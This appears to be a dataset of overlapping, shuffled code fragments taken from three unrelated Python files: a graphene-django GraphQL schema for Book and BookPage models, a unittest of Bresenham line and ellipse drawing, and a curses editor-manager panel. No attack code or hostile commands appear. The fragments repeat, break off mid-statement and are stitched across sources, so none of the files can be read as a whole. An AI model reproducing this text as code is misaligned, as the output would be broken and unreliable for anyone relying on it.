"= (relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode) all_books =",
"coding: utf-8 -*- from graphene import relay, ObjectType, AbstractType from graphene_django import DjangoObjectType",
"'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces =",
"import relay, ObjectType, AbstractType from graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from",
"DjangoFilterConnectionField from .models import Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model = BookPage",
"} interfaces = (relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode)",
"BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'],",
"(relay.Node, ) class BookNode(DjangoObjectType): class Meta: model = Book filter_fields = { 'title':",
"BookPage filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'], } interfaces = (relay.Node, )",
"model = Book filter_fields = { 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains',",
"class Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode) all_books = DjangoFilterConnectionField(BookNode) all_pages =",
"import Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields = {",
") class Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode) all_books = DjangoFilterConnectionField(BookNode) all_pages",
"from .models import Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields",
"['exact'], 'page_number': ['exact'], } interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class Meta: model",
"= { 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], }",
"Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields = { 'book_number':",
"class BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields = { 'book_number': ['exact'], 'page_number':",
"BookPage class BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields = { 'book_number': ['exact'],",
"model = BookPage filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'], } interfaces =",
"interfaces = (relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode) all_books",
"from graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models import Book, BookPage",
"'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces = (relay.Node, )",
"['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces = (relay.Node, ) class Query(AbstractType): book",
"Meta: model = BookPage filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'], } interfaces",
"graphene import relay, ObjectType, AbstractType from graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField",
"filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'], } interfaces = (relay.Node, ) class",
"= (relay.Node, ) class BookNode(DjangoObjectType): class Meta: model = Book filter_fields = {",
"<reponame>LoyalWilliams/bookspider<filename>booksite/booksite/book/schema.py # -*- coding: utf-8 -*- from graphene import relay, ObjectType, AbstractType from",
"class Meta: model = Book filter_fields = { 'title': ['exact', 'icontains', 'istartswith'], 'author':",
"= Book filter_fields = { 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'],",
".models import Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model = BookPage filter_fields =",
"(relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode) all_books = DjangoFilterConnectionField(BookNode)"
] |
[
"import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500, 500 for",
"y1, x1, y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x, y = 500,",
"1) y2 = random.randint(0, y - 1) ligne1 = draw_line(x1, y1, x2, y2)",
"y1 = random.randint(0, y - 1) x2 = random.randint(0, x - 1) y2",
"y2, x2, y1) def test_bresenham_ellipses(self): x, y = 500, 500 for n in",
"class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500, 500 for n in range(0,",
"= random.randint(0, x - 1) y2 = random.randint(0, y - 1) ligne1 =",
"log(time=10s) \"\"\" import unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase):",
"= random.randint(0, y - 1) x2 = random.randint(0, x - 1) y2 =",
"from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500,",
"- 1) y2 = random.randint(0, y - 1) ligne1 = draw_line(x1, y1, x2,",
"y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x, y = 500, 500 for",
"draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500, 500 for n",
"1) y1 = random.randint(0, y - 1) xa = random.randint(50, 100) xb =",
"ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self):",
"y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2,",
"unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x,",
"draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500, 500 for n in",
"def test_bresenham_ellipses(self): x, y = 500, 500 for n in range(0, 10): x1",
"draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2,",
"\"\"\" import unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def",
"= draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1),",
"y1) def test_bresenham_ellipses(self): x, y = 500, 500 for n in range(0, 10):",
"- 1) xa = random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1, y1, xa,",
"y = 500, 500 for n in range(0, 10): x1 = random.randint(0, x",
"draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x, y = 500, 500 for n",
"random.randint(0, y - 1) x2 = random.randint(0, x - 1) y2 = random.randint(0,",
"random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y =",
"random.randint(0, y - 1) xa = random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1,",
"- 1) y1 = random.randint(0, y - 1) x2 = random.randint(0, x -",
"x1, y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x, y = 500, 500",
"y - 1) x2 = random.randint(0, x - 1) y2 = random.randint(0, y",
"x - 1) y1 = random.randint(0, y - 1) x2 = random.randint(0, x",
"y2) ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1,",
"y - 1) ligne1 = draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2, y2,",
"- 1) ligne1 = draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2, y2, x1,",
"x1 = random.randint(0, x - 1) y1 = random.randint(0, y - 1) x2",
"x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2, y1)",
"1) ligne1 = draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2, y2, x1, y1)",
"10): x1 = random.randint(0, x - 1) y1 = random.randint(0, y - 1)",
"xb = random.randint(50, 100) draw_ellipse(x1, y1, xa, xb) if __name__ == \"__main__\": unittest.main()",
"y - 1) xa = random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1, y1,",
"test_bresenham(self): x, y = 500, 500 for n in range(0, 10): x1 =",
"len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x, y",
"= 500, 500 for n in range(0, 10): x1 = random.randint(0, x -",
"y2 = random.randint(0, y - 1) ligne1 = draw_line(x1, y1, x2, y2) ligne2",
"draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2))",
"x2, y1) def test_bresenham_ellipses(self): x, y = 500, 500 for n in range(0,",
"ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500, 500",
"- 1) y1 = random.randint(0, y - 1) xa = random.randint(50, 100) xb",
"= random.randint(0, y - 1) ligne1 = draw_line(x1, y1, x2, y2) ligne2 =",
"= random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1, y1, xa, xb) if __name__",
"= random.randint(0, x - 1) y1 = random.randint(0, y - 1) xa =",
"= draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1,",
"1) y1 = random.randint(0, y - 1) x2 = random.randint(0, x - 1)",
"x2, y2) ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1,",
"100) xb = random.randint(50, 100) draw_ellipse(x1, y1, xa, xb) if __name__ == \"__main__\":",
"random.randint(0, x - 1) y1 = random.randint(0, y - 1) x2 = random.randint(0,",
"\"\"\" @brief test log(time=10s) \"\"\" import unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line,",
"x - 1) y2 = random.randint(0, y - 1) ligne1 = draw_line(x1, y1,",
"def test_bresenham(self): x, y = 500, 500 for n in range(0, 10): x1",
"= random.randint(0, y - 1) xa = random.randint(50, 100) xb = random.randint(50, 100)",
"x, y = 500, 500 for n in range(0, 10): x1 = random.randint(0,",
"xa = random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1, y1, xa, xb) if",
"<reponame>Jerome-maker/ensae_teaching_cs<gh_stars>10-100 \"\"\" @brief test log(time=10s) \"\"\" import unittest import random from ensae_teaching_cs.special.tsp_bresenham import",
"test_bresenham_ellipses(self): x, y = 500, 500 for n in range(0, 10): x1 =",
"y1 = random.randint(0, y - 1) xa = random.randint(50, 100) xb = random.randint(50,",
"- 1) x2 = random.randint(0, x - 1) y2 = random.randint(0, y -",
"import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y",
"500 for n in range(0, 10): x1 = random.randint(0, x - 1) y1",
"in range(0, 10): x1 = random.randint(0, x - 1) y1 = random.randint(0, y",
"n in range(0, 10): x1 = random.randint(0, x - 1) y1 = random.randint(0,",
"1) xa = random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1, y1, xa, xb)",
"random.randint(50, 100) xb = random.randint(50, 100) draw_ellipse(x1, y1, xa, xb) if __name__ ==",
"y1, x2, y2) ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2,",
"@brief test log(time=10s) \"\"\" import unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse",
"y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2, y1) def",
"self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x,",
"test log(time=10s) \"\"\" import unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class",
"= random.randint(0, x - 1) y1 = random.randint(0, y - 1) x2 =",
"1) x2 = random.randint(0, x - 1) y2 = random.randint(0, y - 1)",
"draw_line(x2, y1, x1, y2) draw_line(x1, y2, x2, y1) def test_bresenham_ellipses(self): x, y =",
"import unittest import random from ensae_teaching_cs.special.tsp_bresenham import draw_line, draw_ellipse class TestTspBresenham(unittest.TestCase): def test_bresenham(self):",
"for n in range(0, 10): x1 = random.randint(0, x - 1) y1 =",
"random.randint(0, y - 1) ligne1 = draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2,",
"ligne1 = draw_line(x1, y1, x2, y2) ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse()",
"random.randint(0, x - 1) y1 = random.randint(0, y - 1) xa = random.randint(50,",
"range(0, 10): x1 = random.randint(0, x - 1) y1 = random.randint(0, y -",
"500, 500 for n in range(0, 10): x1 = random.randint(0, x - 1)",
"x2 = random.randint(0, x - 1) y2 = random.randint(0, y - 1) ligne1",
"TestTspBresenham(unittest.TestCase): def test_bresenham(self): x, y = 500, 500 for n in range(0, 10):",
"ligne2 = draw_line(x2, y2, x1, y1) ligne2.reverse() self.assertEqual(len(ligne1), len(ligne2)) draw_line(x2, y1, x1, y2)",
"random.randint(0, x - 1) y2 = random.randint(0, y - 1) ligne1 = draw_line(x1,",
"x - 1) y1 = random.randint(0, y - 1) xa = random.randint(50, 100)",
"x1 = random.randint(0, x - 1) y1 = random.randint(0, y - 1) xa"
] |
[
"self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self): pass def",
"rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1, self.origin_y + 1, self.width // 4",
"in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x +",
"self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state = False self.navigator = None",
"self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr,",
"5,2 class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y,",
"pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y,",
"== index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x + 1, editor, curses.color_pair(2)) else:",
"def up(self): pass def down(self): pass def run(self): pass def clear_content(self): for i",
"4 - 4) def show_content(self): self.clear_content() self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names()",
"display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status def set_navigator(self, navigator): self.navigator =",
"def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1,",
"= 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx()",
"index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr,",
"for i, editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i,",
"self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1,",
"self.origin_y - 1, self.origin_x - 1, self.origin_y + 1, self.width // 4 -",
"i, editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor",
"def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1,",
"None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self): pass def up(self): pass",
"show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x",
"self.origin_y + 1, self.width // 4 - 4) def show_content(self): self.clear_content() self.all_editors =",
"self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items(): if i",
"self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status",
"{} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i] = editor",
"i == index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x + 1, editor, curses.color_pair(2))",
"def show_content(self): self.clear_content() self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor",
"5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state = False",
"- 1, self.origin_x - 1, self.origin_y + 1, self.width // 4 - 4)",
"self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title()",
"range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\")",
"editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status def set_navigator(self,",
"= self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width)",
"def down(self): pass def run(self): pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i,",
"self.std_scr.addstr(self.origin_y + i + 2, self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1,",
"self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y",
"i, editor in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y + i + 2,",
"= {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i] =",
"def left(self): pass def right(self): pass def up(self): pass def down(self): pass def",
"+ 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content()",
"self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors =",
"self.all_editors = {} self.is_global_state = False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def",
"run(self): pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self):",
"= 5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state =",
"// 4 - 4) def show_content(self): self.clear_content() self.all_editors = {} index, editors =",
"self.is_global_state = False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def",
"= editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items(): if i ==",
"i + 2, self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh()",
"self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for",
"down(self): pass def run(self): pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\"",
"\"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y -",
"std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width =",
"if i == index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x + 1, editor,",
"self.origin_x = 5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state",
"= std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width",
"= None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self): pass def up(self):",
"curses.COLOR_BLACK) def left(self): pass def right(self): pass def up(self): pass def down(self): pass",
"self.width // 4 - 4) def show_content(self): self.clear_content() self.all_editors = {} index, editors",
"self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i]",
"def right(self): pass def up(self): pass def down(self): pass def run(self): pass def",
"self.clear_content() self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors):",
"self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status def set_navigator(self, navigator): self.navigator = navigator",
"for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\")",
"= {} self.is_global_state = False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self):",
"= self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors",
"class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x",
"1, self.origin_y + 1, self.width // 4 - 4) def show_content(self): self.clear_content() self.all_editors",
"index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2,",
"self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width = self.height//4-1,",
"self.origin_x - 1, self.origin_y + 1, self.width // 4 - 4) def show_content(self):",
"clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open",
"- 4) def show_content(self): self.clear_content() self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for",
"pass def down(self): pass def run(self): pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height):",
"import curses ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr",
"4) def show_content(self): self.clear_content() self.all_editors = {} index, editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i,",
"2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4 self.all_editors = {} self.is_global_state = False self.navigator",
"curses.textpad import rectangle import curses ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr):",
"EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x =",
"self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height, self.canvas_width = self.height//4-1, self.width//4-4",
"__init__(self,std_scr): self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2",
"right(self): pass def up(self): pass def down(self): pass def run(self): pass def clear_content(self):",
"editors = self.navigator.context[\"Manager\"].get_all_editor_names() for i, editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height,",
"pass def right(self): pass def up(self): pass def down(self): pass def run(self): pass",
"ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width =",
"i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def show_title(self): self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y,",
"def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status def set_navigator(self, navigator): self.navigator",
"2, self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self):",
"+ i + 2, self.origin_x + 1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor)",
"curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self): pass def up(self): pass def down(self):",
"editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items(): if i == index:",
"{} self.is_global_state = False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass",
"editor in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y + i + 2, self.origin_x",
"= False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self):",
"False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self): pass",
"curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK) def left(self): pass def right(self): pass def up(self): pass def",
"self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1, self.origin_y + 1, self.width",
"curses ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height,",
"else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state =",
"curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state",
"self.width//4-4 self.all_editors = {} self.is_global_state = False self.navigator = None curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK)",
"- 1, self.origin_y + 1, self.width // 4 - 4) def show_content(self): self.clear_content()",
"editor in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in",
"pass def up(self): pass def down(self): pass def run(self): pass def clear_content(self): for",
"Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1, self.origin_y +",
"self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status def",
"self.std_scr.addstr(self.origin_y, self.origin_x+1, \"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x -",
"self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1, self.origin_y + 1,",
"def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5,",
"self.canvas_width) for i, editor in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y + i",
"import rectangle import curses ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr",
"1, editor, curses.color_pair(2)) else: self.std_scr.addstr(self.origin_y+i+2, self.origin_x+1, editor) self.std_scr.refresh() def display(self): self.show_title() self.show_content() def",
"self.std_scr = std_scr self.height, self.width = self.std_scr.getmaxyx() self.origin_y, self.origin_x = 5, 2 self.canvas_height,",
"def run(self): pass def clear_content(self): for i in range(self.origin_y+2,self.canvas_height): self.std_scr.addstr(i, self.origin_x,\" \"*(self.canvas_width-2)) def",
"ORIGIN_Y, ORIGIN_X = 5,2 class EditorManager: def __init__(self,std_scr): self.std_scr = std_scr self.height, self.width",
"self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items(): if i == index: self.std_scr.addstr(self.origin_y +",
"in enumerate(editors): self.all_editors[i] = editor rectangle(self.std_scr, self.origin_y+1,self.origin_x-1,self.canvas_height, self.canvas_width) for i, editor in self.all_editors.items():",
"\"Open Editors\") self.std_scr.addstr(self.origin_y, self.canvas_width-3, \"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1, self.origin_y",
"1, self.origin_x - 1, self.origin_y + 1, self.width // 4 - 4) def",
"+ 1, self.width // 4 - 4) def show_content(self): self.clear_content() self.all_editors = {}",
"self.std_scr.refresh() def display(self): self.show_title() self.show_content() def update_global_status(self,status): self.is_global_state = status def set_navigator(self, navigator):",
"\"▼\") rectangle(self.std_scr, self.origin_y - 1, self.origin_x - 1, self.origin_y + 1, self.width //",
